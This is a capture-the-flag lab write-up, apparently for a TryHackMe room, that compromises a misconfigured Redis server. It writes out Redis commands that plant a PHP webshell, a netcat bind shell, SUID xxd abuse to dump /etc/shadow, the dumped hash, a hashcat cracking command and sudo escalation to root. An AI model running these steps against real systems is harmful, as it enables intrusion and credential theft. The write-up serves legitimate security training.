Skip to content

Res

Scan the machine, how many ports are open?

nmap -T4 $ip only shows port 80 as open, which is running an Apache web server (serving the default placeholder page). This isn't correct, so I'll do a full scan of all ports with nmap -T4 $ip -p-:

PORT     STATE SERVICE
80/tcp   open  http
6379/tcp open  redis

So, there are 2 open ports.

What is the database management system installed on the server?

redis.

What port is the database management system running on?

6379.

What's is the version of management system installed on the server?

With a more comprehensive scan of this port, we can find that the version number is 6.0.7. nmap -T4 -sV $ip -p6379

Compromise the machine and locate user.txt

Exploring Redis misconfigurations

After spending some time unsuccessfully looking for CVEs for this version, I opened the hint which reads:

What directory can you write to? Apache?

This immediately made me think of setting up a webshell to have the Apache server execute arbitrary code, so I started working on interacting with the Redis server. We can use redis-cli -h $ip to connect to the server and issue commands interactively. I was able to find the directories to which I have access by running CONFIG GET dir, which returned dir and /, indicating that we should be able to write to the root directory... which includes the webroot which the hint eluded to abusing.

Establishing a webshell

I ended up finding this website which listed the following steps to leverage this vulnerable setup for a webshell:

flushall
set pwn "<?php system($_REQUEST['cmd']); ?>"
config set dbfilename shell.php
config set dir /var/www/html
save

Since I had done some experimenting before finding this, it turned out that I needed to reset my target VM in order for this to work. I visited http://$ip/shell.php?cmd=which nc, which revealed that the system has netcat at /pwn/bin/nc, and then tried multiple commands attempting to connect to my netcat listener. At best, I received a connection for a moment before it was immediately closed. I ultimately wasn't successful with this approach and sought out other walkthroughs to check my methodology. I found that I wasn't the only one to face this issue.

Establishing an interactive shell

Although I couldn't establish a reverse shell, I was able to open a listener on the server, and then connect to that: http://$ip/shell.php?cmd=nc -e /bin/bash -lnvp 8888

attacking machine: nc $ip 8888

image

After connecting, I'll run the following to stabilize my shell: python -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm ^Z (control-z to background the session) stty raw -echo; fg

Now we have a proper prompt, we can clear the terminal, and we have access to tab completion.

Since our current task is to find user.txt, I'll run find / -type f -name "user.txt" 2>/dev/null | xargs cat to find the flag (in /home/vianka/user.txt) and print its contents to submit as the flag.

What is the local user account password?

After some brief snooping around the filesystem to check for any plaintext credentials, I started manual enumeration for privilege escalation vectors. Using find / -type f -perm -04000 2>/dev/null to check for SUID binaries, I found that /usr/bin/xxd was owned by root and is executed with root privileges. Checking GTFOBins, I was able to leverage this to read /etc/shadow to get the user password hashes.

LFILE=/etc/shadow
./xxd "$LFILE" | xxd -r

www-data@ubuntu:/home/vianka$ xxd "$LFILE" | xxd -r
root:!:18507:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18506:0:99999:7:::
uuidd:*:18506:0:99999:7:::
vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::

Cracking user hash with HashCat

By copying vianka's hash into the file tocrack on my local machine, I was able to crack it with a dictionary attack: hashcat -m 1800 -a 0 -o cracked --remove tocrack /usr/share/wordlists/rockyou.txt.

After this finishes, the original password is written in the cracked file on the right of the colon.

Escalate privileges and obtain root.txt

First, su vianka and then enter the newly recovered password to sign in as vianka.

Checking our permissions, it turns out that we have full access via sudo:

image

Finally, using find similarly to earlier, I'll cat root.txt and complete the room. sudo find / -type f -name "root.txt" | sudo xargs cat

Closing thoughts

  • I wasted a lot of time in the early stages by thinking too narrowly, between searching for an easy CVE for this Redis version before even looking at this instance's configuration, as well as spending a lot of time on initial access and retrying too similar of methods for getting a shell.
  • Overall, another fun and rewarding room. I really enjoyed the vector from elevated file reading to then cracking the user's password hash.